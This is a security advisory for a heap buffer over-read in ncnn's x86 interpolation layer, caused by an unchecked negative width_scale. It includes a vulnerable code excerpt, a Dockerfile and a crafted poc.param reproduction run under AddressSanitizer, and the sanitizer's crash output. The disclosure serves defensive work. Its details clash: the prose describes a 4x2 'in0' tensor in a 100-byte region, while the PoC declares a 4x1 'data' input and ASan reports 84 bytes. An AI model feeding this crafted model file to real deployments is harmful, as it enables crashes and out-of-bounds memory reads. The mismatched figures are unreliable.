Heap Buffer Over-Read in x86 Interpolation

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/interp_x86.cpp:193 in Interp_x86::forward
Sanitizer verdict: heap-buffer-overflow

Summary

The x86 nearest-neighbour resize path accepts a negative width_scale and turns it into a negative source index, reading before the start of the input tensor. A .param file with Interp ... 0=1 2=-0.5 5=1 and a reference blob supplying the target size is enough: tools/ncnnoptimize loads the graph, ModelWriter::shape_inference() runs the layer, and the process dies with an out-of-bounds read. No binary weights are required — the PoC passes null as the model file.

Detail

The untrusted field is Interp parameter key 2, read into width_scale by Interp::load_param. That function validates resize_type (rejecting anything outside 0..3) but performs no check on width_scale, height_scale, output_width or output_height. With dynamic_target_size (key 5) set to 1, the layer takes a second input and Interp_x86::forward takes the output width from reference_blob.w, leaving output_width at its default of 0. That combination selects the reciprocal-scale branch:

// src/layer/x86/interp_x86.cpp:157
            const float ws = (output_width || !size_expr.empty()) ? w / (float)outw : 1.f / width_scale;

            #pragma omp parallel for num_threads(opt.num_threads)
            for (int y = 0; y < h; y++)
            {
                const float* ptr = bottom_blob.row(y);
                float* outptr = top_blob.row(y);
                for (int x = 0; x < outw; x++)
                {
                    int in_x = std::min((int)(x * ws), (w - 1));
                    const float* Sp = ptr + in_x * elempack;

in_x is clamped only from above. std::min caps it at w - 1 but there is no std::max(0, ...) to keep it non-negative, so a negative ws produces a negative index and Sp points before the row.

The PoC declares Input in0 0 1 in0 0=4 1=2 (a 4x2 tensor, allocated by ModelWriter::shape_inference() at tools/modelwriter.h:389 as the 100-byte region ASan names) and Input ref 0 1 ref 0=2 1=1, so outw = 2 and the dims == 2 branch runs. With width_scale = -0.5, ws becomes 1.f / -0.5f = -2. At x == 1, (int)(x * ws) is -2, std::min(-2, 3) leaves -2, and with elempack == 1 on the unpacked shape-inference tensor Sp = ptr - 2 floats. The scalar tail loop at line 193 then executes outptr[ep] = Sp[ep] with ep == 0, reading 8 bytes before the allocation — exactly what the sanitizer reports. Driving width_scale closer to zero moves the read arbitrarily far below the buffer.

Reproduce

mkdir -p ncnn-poc-heap-buffer-over-read-in-x86-interpolation && cd ncnn-poc-heap-buffer-over-read-in-x86-interpolation

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
3 3
Input data 0 1 data 0=4 1=1
Input ref 0 1 ref 0=2 1=1
Interp interp 2 1 data ref out 0=1 2=-0.5 5=1
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000038 at pc 0x62622ad3f74f bp 0x7ffc62a432f0 sp 0x7ffc62a432e0
READ of size 4 at 0x50e000000038 thread T0
    #0 0x62622ad3f74e in ncnn::Interp_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/interp_x86_avx512.cpp:193
    #1 0x6262258c270b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #2 0x6262258aab7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x62622590a9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x62622579c3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x626225819eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x7ec90fa881c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7ec90fa8828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x626225799624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000038 is located 8 bytes before 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x7ec910101f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x626225869a4f in fastMalloc /ncnn/src/allocator.h:62
    #2 0x626225869a4f in ncnn::Mat::create(int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:373
    #3 0x62622579ac6a in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:389
    #4 0x626225819eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x7ec90fa881c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7ec90fa8828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x626225799624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/build/src/layer/x86/interp_x86_avx512.cpp:193 in ncnn::Interp_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const

Credit

Zheng Yu @ DepthFirst